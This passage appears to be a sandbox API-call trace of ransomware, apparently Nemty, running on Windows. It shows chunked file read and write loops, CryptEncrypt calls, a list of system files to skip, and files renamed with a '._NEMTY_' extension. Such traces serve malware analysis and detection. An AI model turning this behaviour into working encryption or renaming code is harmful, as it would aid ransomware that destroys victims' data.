lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.014] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.033] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.033] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.097] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0062.104] CloseHandle (hObject=0xffffffff) returned 0 [0062.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0062.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0062.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0062.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0062.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0062.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0062.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0062.104] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.104] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0062.104] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0062.104] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="...") returned 1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="windows") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="$RECYCLE.BIN") returned 1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="rsa") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="NTDETECT.COM") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntldr") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="MSDOS.SYS") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="IO.SYS") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="AUTOEXEC.BAT") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="desktop.ini") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="CONFIG.SYS") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="RECYCLER") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="BOOTSECT.BAK") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="programdata") returned -1 [0062.105] lstrcmpiW (lpString1="15x15dot.png", lpString2="appdata") returned -1 [0062.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0062.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0062.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0062.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0062.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0062.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0062.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0062.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0062.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0062.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0062.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0062.106] Sleep (dwMilliseconds=0x5) [0062.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8abe7f0, dwHighDateTime=0x1d561e7)) [0062.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8abe7f0, dwHighDateTime=0x1d561e7)) [0062.117] GetLastError () returned 0x5 [0062.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0062.117] GetLastError () returned 0x5 [0062.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0062.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.117] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0062.117] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0062.117] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0062.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0062.117] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="R29zJ9rGNZYKpHxoWijJPvuHTQPOCAffzTG6GMj/kZpaXGpCfQ6Ai6n47kHGLfnm\r\nMqAIrH8sPiOsjcEzD8BoZ8YD5uGWFHWqZorDm3gTJA/DRRfIp+rc9qLT+69vTOUt\r\nx9h839fS7ItZigwEWL/doo5jmYxh4CVbHM8LQbNB44dlOnwDKnq2/THxas1wIp8m\r\nnaGqETl9LpoXRKf6lYTVawJ6hi8RgKLspmlTdSY2c3+RpOhCNhMaMHsgH28US3aT\r\ngflE8NraBTn8vLw6U4z6CJ2wsaERO2CIxrf6pxATWmqb8yStIq5AUBZbWAQBFG0B\r\nsFFYlV2pcqYEwnH1R9KuiA==\r\n", pcchString=0x653e91c) returned 1 [0062.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0062.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0062.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0062.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0062.118] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.123] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0062.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0062.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.133] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.142] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.161] SetFilePointer (in: 